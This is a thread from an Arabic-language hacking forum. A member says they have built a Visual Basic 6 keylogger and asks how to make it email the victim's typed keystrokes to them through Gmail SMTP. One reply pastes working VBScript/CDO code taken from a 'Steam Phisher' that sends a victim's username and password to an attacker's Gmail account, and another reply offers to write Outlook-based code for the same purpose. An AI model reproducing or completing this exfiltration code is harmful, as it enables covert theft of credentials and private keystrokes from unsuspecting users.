مساعدة في كود ارسال ايميل بالفيجوال 6

مساعدة في كود ارسال ايميل بالفيجوال 6


النتائج 1 إلى 4 من 4

الموضوع: مساعدة في كود ارسال ايميل بالفيجوال 6

  1. #1

    Unhappy مساعدة في كود ارسال ايميل بالفيجوال 6

    السلام عليكم شباب

    شباب اني محتاج برنامج كود لارسال ايميلات بالفجوال بيسك 6 باستخدام ال gmail smtp انا بصراحة برمجت key logger وهو شغال بس محتاج البرنامج يرسلي ما يكتبه المستخدم على ايميلي
    مثال للكود بس محتاج مساعدتكم
    كود PHP:
      Dim message As New MailMessage
            Dim usename 
    As String text1.text
            Dim password 
    As String text2.text
            Dim destenation 
    As String text3.text
            smtp
    .Host "smtp.gmail.com"
            
    smtp.EnableSsl True
            smtp
    .Port "587" 

  2. #2

    افتراضي رد: مساعدة في كود ارسال ايميل بالفيجوال 6

    بكل بساطة اخي الهكر ما عليك سوى برمجة كود صغير يعتمد على برنامج الاوت لووك من موسوعة الافيس ان لم تكن تعرف الكود اجبني
    لاكتب لك الكووود - بالتوفيق باذن الله الحكيم.

  3. #3

    افتراضي رد: مساعدة في كود ارسال ايميل بالفيجوال 6

    وعليكم السلام ورحمه الله وبركاته
    طبعا حاليا ما عندي فيجول بسيك 6 و لكن وجد هذا الكود هل يعمل ام لا شوف انت الفكره وطبقا
    كود:
    Set C0nw0nk = CreateObject("CDO.Message")
    C0nw0nk.From = "GMAIL HERE!"
    C0nw0nk.To = "ANY EMAIL HERE!"
    C0nw0nk.Subject = "Phished Steam"
    C0nw0nk.TextBody = "Username: " & Text1 & vbCrLf & "Password: " & Text2.Text & vbCrLf & " C0nw0nk | Steam Phisher "
    C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
    C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
    C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "GMAIL HERE!"
    C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "password here!"
    C0nw0nk.Configuration.Fields.Update
    C0nw0nk.Send

  4. #4

    افتراضي رد: مساعدة في كود ارسال ايميل بالفيجوال 6

    الـــــجــــــزائـــــــــر
    مشكور على الموظوع

المواضيع المتشابهه

  1. اختراق اي ايميل بـدون برامج وبدون ارسال شئ للضحيه
    بواسطة هيتفون في المنتدى منتدى إختراق البريد والايميلات
    مشاركات: 44
    آخر مشاركة: 07-20-2012, 10:11 AM
  2. مشاركات: 4
    آخر مشاركة: 01-27-2011, 09:55 PM
  3. طلب في مساعدة اختراق ايميل ..!!
    بواسطة حموو في المنتدى معرض الانجازات
    مشاركات: 0
    آخر مشاركة: 09-16-2010, 07:39 PM
  4. مساعدة في تدمير ايميل الهوت ميل الذهبي
    بواسطة wasem5002 في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 2
    آخر مشاركة: 06-24-2010, 10:04 PM
  5. ممكن مساعدة من محترفين الهكرز ,,, عندى ايميل yahoo
    بواسطة مصطفى 151 في المنتدى منتدى برامج وأدوات الهكرز
    مشاركات: 0
    آخر مشاركة: 05-29-2010, 12:55 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •